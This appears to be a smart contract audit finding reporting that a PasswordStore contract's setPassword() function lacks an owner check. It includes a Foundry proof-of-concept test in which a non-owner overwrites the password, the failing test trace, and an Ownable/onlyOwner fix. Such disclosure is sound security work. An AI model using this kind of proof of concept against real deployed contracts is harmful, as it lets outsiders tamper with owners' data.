Summary
The setPassword()
function can be called by anyone (not only the owner) in the current application scope. Any user of the contract can set a new password, since the necessary contraints to restrict it to the owner are not in place.
Vulnerability Details
The code comments state the following for the setPassword()
function: "This function allows only the owner to set a new password". Nevertheless as shown in the PoC below, any user is able to set/change a new password violating the privacy of the contract, as there are no access control verifications in place.
Proof of Concept
Consider the following test where an address named as anybody is able to reset the password after the owner of the contract calls the function setPassword()
. When the owner retrieves the password with getPassword()
, it realizes there was a change executed by a different entity.
function test_anybody_can_set_password() public {
vm.startPrank(owner);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
vm.stopPrank();
vm.startPrank(anybody);
string memory changedPass = "changedPassword";
passwordStore.setPassword(changedPass);
vm.stopPrank();
vm.startPrank(owner);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword);
}
As stated before the test results in discrepancies between the password set by the owner and the one set by the non-owner:
Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[FAIL. Reason: Assertion failed.] test_anybody_can_set_password() (gas: 42101)
Logs:
Error: a == b not satisfied [string]
Left: changedPassword
Right: myNewPassword
Traces:
[741837] PasswordStoreTest::setUp()
├─ [356698] → new DeployPasswordStore@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← 1671 bytes of code
├─ [285684] DeployPasswordStore::run()
│ ├─ [0] VM::startBroadcast()
│ │ └─ ← ()
│ ├─ [225780] → new PasswordStore@0x90193C961A926261B756D1E5bb255e67ff9498A1
│ │ └─ ← 1017 bytes of code
│ ├─ [23786] PasswordStore::setPassword(myPassword)
│ │ ├─ emit SetNetPassword()
│ │ └─ ← ()
│ ├─ [0] VM::stopBroadcast()
│ │ └─ ← ()
│ └─ ← PasswordStore: [0x90193C961A926261B756D1E5bb255e67ff9498A1]
└─ ← ()
[42101] PasswordStoreTest::test_anybody_can_set_password()
├─ [0] VM::startPrank(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
│ └─ ← ()
├─ [6686] PasswordStore::setPassword(myNewPassword)
│ ├─ emit SetNetPassword()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000000)
│ └─ ← ()
├─ [1886] PasswordStore::setPassword(changedPassword)
│ ├─ emit SetNetPassword()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
│ └─ ← ()
├─ [3320] PasswordStore::getPassword() [staticcall]
│ └─ ← changedPassword
├─ emit log(: Error: a == b not satisfied [string])
├─ emit log_named_string(key: Left, val: changedPassword)
├─ emit log_named_string(key: Right, val: myNewPassword)
├─ [0] VM::store(VM: [0x7109709ECfa91a80626fF3989D68f67F5b1DD12D], 0x6661696c65640000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000001)
│ └─ ← ()
└─ ← ()
Impact
Any user can reset a password set by the owner without restrictions.
Tools Used
Manual Review
Recommendations
It is highly recommended to implement an access control mechanism for the account that is the owner of a contract and can do specific tasks on it. One approach is by using via inheritance @openzeppelin/contracts/ownership/Ownable.sol:
contract PasswordStore is Ownable {
...
function setPassword(string memory newPassword) external onlyOwner{
...
}
}
By default, the owner of an Ownable
contract is the account that deployed it, which is the scenario we want here. Additionally the modifier onlyOwner
can ensure the function is called by the owner of the contract.